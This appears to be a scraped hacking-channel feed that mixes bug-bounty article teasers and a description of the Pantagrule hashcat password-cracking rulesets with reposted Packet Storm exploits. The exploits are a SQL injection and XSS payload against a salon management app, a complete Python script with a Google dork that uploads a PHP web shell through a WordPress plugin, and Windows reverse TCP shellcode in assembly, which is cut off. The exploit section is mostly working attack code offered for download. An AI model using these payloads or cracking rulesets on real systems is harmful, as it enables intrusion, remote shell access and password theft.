Bypass Server Upload Restrictions
https://infosecwriteups.com/bypass-server-upload-restrictions-69054c5e1be4?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

How to Get a Shell on a Website using a File [Tutorial]Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/bypass-server-upload-restrictions-69054c5e1be4?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

How I Was Able To Send SMS From Google To Anyone | $$$ Google Vulnerability:
https://asterfiester.medium.com/how-i-was-able-to-send-sms-from-google-to-anyone-google-vulnerability-3277ea0cc9d1?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

An interesting write up about Google Vulnerability:Continue reading on Medium » (https://asterfiester.medium.com/how-i-was-able-to-send-sms-from-google-to-anyone-google-vulnerability-3277ea0cc9d1?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux TutorialsPantagrule : Large Hashcat Rulesets Generated From Real-World Compromised Passwords
Pantagrule is a series of rules for the hashcat password cracker generated from large amounts of real-world password compromise data. While Pantagrule rule files can be large, the rules are both tunable and perform better than many existing rule sets.

Pantagrule was generated using PACK’s Levenshtein Reverse Path algorithm for automated rule generation (Kacherginsky, 2013). PACK’s output was then sorted based upon the number of times PACK generated the rule to make the base ruleset. This process is similar to the rules generated by _NSAKEY for password cracking competitions in 2014 (_NSAKEY, 2014), however, Pantagrule was generated off a significantly larger set of passwords. Version 2 of Pantagrule was developed off of the publicly-available hashes.org “founds” corpus, a best-in-class public wordlist. This yields more transparent results than the original variant, which used a proprietary corpus containing 842,643,513 unique passwords.

When such large rulesets are fed through PACK, millions of rules result. However, since most of the rules generated appear only a handful of times, most of the useful rules are the ones that are most commonly generated by the algorithm. This repository contains a subset of rules generated by PACK whilst iterating through the existing corpus.

Optimised Variants

In order to generate a second-pass optimisation of the rules against real-world data, the top one million generated rules was run against the Pwned Passwords NTLM list using the rockyou wordlist. Any rule that cracked a password was added to its own list and poorer-performing rules were discarded.

Four optimisation types were created:

* popular.rule: pantagrule.1m run against the top 25,000,000 passwords of the HIBP set.
* random.rule: pantagrule.1m run against 25,000,000 randomly selected passwords from the HIBP set.
* hybrid.rule: A sorted list of a combination of the most successful popular and random rules, then cut in half, in an attempt to make a lighter, “balanced” ruleset that works across a larger sample set.
* one.rule: A version of OneRuleToRuleThemAll in which the top performing hybrid rules are appended, and the list is truncated to the size of the dive rule set. Interestingly, there is only a couple-thousand-rule overlap with OneRuleToRuleThemAll and the Pantagrule rules, making the two strategies complementary. Pantagrule’s one performs better than other known lists of this size, and it is recommended that you start with this ruleset before attempting one of the larger variants.

Pantagrule hashorg.v6

After the success of these large rulesets, an attempt was made of the inverse of the royce variant, in which the original Pantagrule methodology was used but both sets of data were different. Pantagrule now uses the public hashes.org “founds” list as its wordlist base for rule generation, and an optimisation pass was then made against the V6 NTLM list from Have I Been Pwned. Given the fully-public nature of the data used, it also allows the publication of raw reproducibility data, including pantagrule.v2.1m.rule, which are the top one million rules generated by this methodology. The data for V5 and V6 is the same for the top 25 million passwords.

For this version, the way one is generated has changed. To generate one, the full 1 million list was appended to OneRuleToRuleThemAll.rule and then the entire set calibrated on Pwned V6, vs. just appending rules and truncating.

Naming conventions for the rules have now ch[...]

___________________________
@hacking_Attack
@Hacking_Video

anged to be of the format pantagrule.${corpus}.${trainingversion}.${extension}. This makes it easier to understand what the rule was optimised for. For example, for pantagrule.hashorg.v6.random, We used the random methodology with hashes.org as the basis for the rule generation, optimised on Pwned Passwords V6.

Original rules

Original rules were trained using the proprietary wordlist alongside the Pwned Passwords NTLM v5 set using rockyou.txt as a base. Since the “training data” and the validation data are the same, it would make sense to see them optimised for the V5 dataset.

The royce variants

Upon request of hashcat contributor Royce Williams, optimisations of the top one million rules were also run with the hashes.org founds list. This is due to the HIBP corpus being relatively dirty, and the hashes.org founds list being likely to yield a more practical ruleset for real-world cracking. These have been added as the royce variants. The royce optimisations appear to consist of marginally fewer rules overall, and random.royce is substantially more effective on a long tail of passwords than the original random. Performance did not increase over the existing rules on some variants, but given that the training and validation data of the original Pantagrule are both from the Pwned Passwords dataset, this does not seem surprising. Pantagrule royce variants exist in the rules/royce folder.

Performance vs. other commonly-used rules

In order to test any successes of the Pantagrule strategy against other rulesets, we will run validation data across the top 25 million passwords of Pwned Passwords V5 and the top 100 million passwords of Pwned Passwords V5 to get an understanding of rule effectiveness at cracking the “long tail” with each ruleset. The canonical rockyou.txt will be our dictionary and our baseline.

Original variant generation was done on an 8x 1070Ti rig running hashcat v5.1.0. The royce Pantagrule variants were created on a 4x Radeon VII rig running hashcat git build v5.1.0-1774-gf96594ef. The hashorg.v6 variants were created and validated (very slowly) on a single NVIDIA Tesla M4, a single 1070Ti, and hashcat v6.1.0.

In order to note rule performance against very common passwords, 0-25M is broken out into its own column. The RPP column is the rules per percent on the 100M dataset. This is calculated by using the formula rpp = Math.round(num_rules / (0_100m_percent - 6.450)). The higher this number, the more rules are run per percentage cracked. This helps realise the diminishing returns in rulesets and gives an idea of the amplified cost of running the rules on slower hashes.
RulesNumber of RulesV5 25MV5 100MRPPNo Rules (just rockyou.txt)016.549%6.450%N/Apantagrule.private.v5.one99,09279.814%69.417%1,574pantagrule.private.v5.hybrid355,20581.346%73.372%5,308pantagrule.private.v5.popular478,73681.792%73.544%7,135pantagrule.private.v5.random616,23681.687%69.805%8,828pantagrule.hashorg.v6.one99,09274.500%60.573%1,831pantagrule.hashorg.v6.hybrid339,95377.649%68.341%5,493pantagrule.hashorg.v6.popular514,41680.668%72.377%6,931pantagrule.hashorg.v6.random638,77380.603%72.713%8,614pantagrule.private.hashorg.one.royce99,09279.618%69.092%1,582pantagrule.private.hashorg.hybrid.royce314,26881.068%73.082%4,716pantagrule.private.hashorg.popular.royce420,98481.386%73.102%6,316pantagrule.private.hashorg.random.royce592,23581.659%74.010%8,766best646445.117%24.985%3hob0646837.786%19.773%5OneRuleToRuleThemAll52,01478.058%64.541%895d3adhob057,54851.274%34.800%2,030dive99,09277.111%63.314[...]

___________________________
@hacking_Attack
@Hacking_Video

%1,743_NSAKEY V1123,28976.42%64.121%2,138_NSAKEY V2123,28976.882%64.472%2,124
Conclusion

This work confirms the limitations of the PACK LRP algorithm originally witnessed by _NSAKEY on modern data sets when using the rockyou dictionary. While the LRP algorithm does generate rules that increase cracking percentage, it does so at a large increase in search space. For this reason, Pantagrule is most useful in cases where difficult cracking requires exotic rules.

It is important to note that if you can use PACK to generate rules based off of a specific corpus and then target your remaining hashes with it, you are likely to yield a greater cracking percentage than using one of these large rulesets. For example, Pantagrule V2 does not perform as well on PPv5 as the v5-calibrated ruleset.

Since the original Pantagrule release, these rules have proven themselves on multiple red team engagements at large technology companies and consultancies alike. The original pantagrule.1m list cracked 8% of the remaining HIBP hashes that had stood up to the corpus used to generate Pantagrule, the above common rule sets, a 7-character alphanumeric brute force, and KoreLogic’s PathWell topologies.

As even the author of the One Rule to Rule Them All (Hunt, 2017) meta-rule states, there is no such thing as a rule that works better than others. Every use case is different, and every rule source may be one that helps you more than another on a specific hash dump or with a specific wordlist. Note that this data does not show what has been cracked; some rules have cracked hashes that other rules have not.


Download

___________________________
@hacking_Attack
@Hacking_Video

Bypass Server Upload Restrictions

How to Get a Shell on a Website using a File TutorialContinue reading on InfoSec Write-ups »
Read more...

Why is Bug bounty trending?

Bug bounty, a big name among cybersecurity analysts and tech giants, has gained tremendous fame over time. This article will help you know…Continue reading on Medium »
Read more...

This is why you shouldn’t trust your Federated Identity Provider

Last year, while taking my daily dose of HackerOne’s Hacktivity, I stumbled upon this amazing writeup of cache-money where he demonstrated…Continue reading on Medium »
Read more...

10 golden minutes for taking over a Chess.com account

Hi folks, this is the second write-up about finding bugs on Chess.com. You can find the first one here.Continue reading on InfoSec Write-ups »
Read more...

Exploit CollectorMen Salon Management System 1.0 Cross Site Scripting / SQL Injection


Men Salon Management System version 1.0 suffers from cross site scripting and remote SQL injection vulnerabilities.

MD5 | 7250e4f4732c81d5b68cd71a2aa7e396

Download



# Exploit Title: Men Salon Management System 1.0 - Multiple Vulnerabilities
# Date: 2021-09-09
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/men-salon-management-system-using-php-and-mysql
# Version: 1.0
# Tested on: Windows 10 - XAMPP Server

# Vulnerable page :
http://localhost/msms/admin/edit-customer-detailed.php?editid=

# Proof Of Concept :
# 1 . Download And install [ Men Salon Management System ]
# 2 . Go to /msms/admin/index.php and Enter Username & Password
# 3 . Navigate to >> Customer List
# 4 . In the action column, click Edit
# 5 . Enter the payload into the Url and Fields

# [ Sql Injection ] :

Vulnerable paramater :
The editid paramater is Vulnerable to sqli

GET : http://localhost/msms/admin/edit-customer-detailed.php?editid=2'+union+select+1,database(),3,4,5,6,7,8--+

# [ Stored Cross-Site Scripting ] :

Vulnerable Fields : Name & Email

Payload Used: ">alert(document.cookie)



Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit CollectorWordPress Download From Files 1.48 Shell Upload


WordPress Download From Files plugin version 1.48 suffers from a remote shell upload vulnerability.

MD5 | a6b690ce567b2506a7e8bf9edaee5c15

Download



# Exploit Title: Wordpress Plugin Download From Files 1.48 - Arbitrary File Upload
# Google Dork: inurl:/wp-content/plugins/download-from-files
# Date: 10/09/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugins/download-from-files/
# Version: <= 1.48
# Tested on: Ubuntu 20.04.1 LTS (x86)

import os.path
from os import path
import json
import requests;
import sys

def print_banner():
print("Download From Files <= 1.48 - Arbitrary File Upload")
print("Author -> spacehen (www.github.com/spacehen)")

def print_usage():
print("Usage: python3 exploit.py [target url] [php file]")
print("Ex: python3 exploit.py https://example.com ./shell.(php4/phtml)")

def vuln_check(uri):
response = requests.get(uri)
raw = response.text

if ("Sikeres" in raw):
return True;
else:
return False;

def main():

print_banner()
if(len(sys.argv) != 3):
print_usage();
sys.exit(1);

base = sys.argv[1]
file_path = sys.argv[2]

ajax_action = 'download_from_files_617_fileupload'
admin = '/wp-admin/admin-ajax.php';

uri = base + admin + '?action=' + ajax_action ;
check = vuln_check(uri);

if(check == False):
print("(*) Target not vulnerable!");
sys.exit(1)

if( path.isfile(file_path) == False):
print("(*) Invalid file!")
sys.exit(1)

files = {'files[]' : open(file_path)}
data = {
"allowExt" : "php4,phtml",
"filesName" : "files",
"maxSize" : "1000",
"uploadDir" : "."
}
print("Uploading Shell...");
response = requests.post(uri, files=files, data=data )
file_name = path.basename(file_path)
if("ok" in response.text):
print("Shell Uploaded!")
if(base[-1] != '/'):
base += '/'
print(base + "wp-admin/" + file_name);
else:
print("Shell Upload Failed")
sys.exit(1)

main();




Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Windows/x86 Reverse TCP Shellcode


https://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png
330 bytes small Windows/x86 reverse TCP shellcode that connects to 192.168.201.11:4444.

MD5 | 62fe34329d5e8ee5089f6fbc86bcb0a3

Download
/*

MIT License

Copyright (c) 2021 Xenofon Vassilakopoulos

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

# Title: Windows/x86 - Reverse TCP shellcode (192.168.201.11:4444) (330 Bytes)
# Date: 09.12.2021
# Author: Xenofon Vassilakopoulos
# Tested on: Windows/x64 - 10.0.19043 N/A Build 19043
[BITS 32]

global _start

section .text

_start:

; Locate Kernelbase.dll address
XOR ECX, ECX ;zero out ECX
MOV EAX, FS:[ecx + 0x30] ;EAX = PEB
MOV EAX, [EAX + 0x0c] ;EAX = PEB->Ldr
MOV ESI, [EAX + 0x14] ;ESI = PEB->Ldr.InMemoryOrderModuleList
LODSD ;memory address of the second list entry structure
XCHG EAX, ESI ;EAX = ESI , ESI = EAX
LODSD ;memory address of the third list entry structure
XCHG EAX, ESI ;EAX = ESI , ESI = EAX
LODSD ;memory address of the fourth list entry structure
MOV EBX, [EAX + 0x10] ;EBX = Base address

; Export Table
MOV EDX, DWORD [EBX + 0x3C] ;EDX = DOS->e_lfanew
ADD EDX, EBX ;EDX = PE Header
MOV EDX, DWORD [EDX + 0x78] ;EDX = Offset export table
ADD EDX, EBX ;EDX = Export table
MOV ESI, DWORD [EDX + 0x20] ;ESI = Offset names table
ADD ESI, EBX ;ESI = Names table
XOR ECX, ECX ;EXC = 0

GetFunction :

INC ECX; increment counter
LODSD ;Get name offset
ADD EAX, EBX ;Get function name
CMP dword [EAX], 0x50746547 ;"PteG"
JNZ SHORT GetFunction ;jump to GetFunction label if not "GetP"
CMP dword [EAX + 0x4], 0x41636F72 ;"rocA"
JNZ SHORT GetFunction ;jump to GetFunction label if not "rocA"
CMP dword [EAX + 0x8], 0x65726464 ;"ddre"
JNZ SHORT [...]

___________________________
@hacking_Attack
@Hacking_Video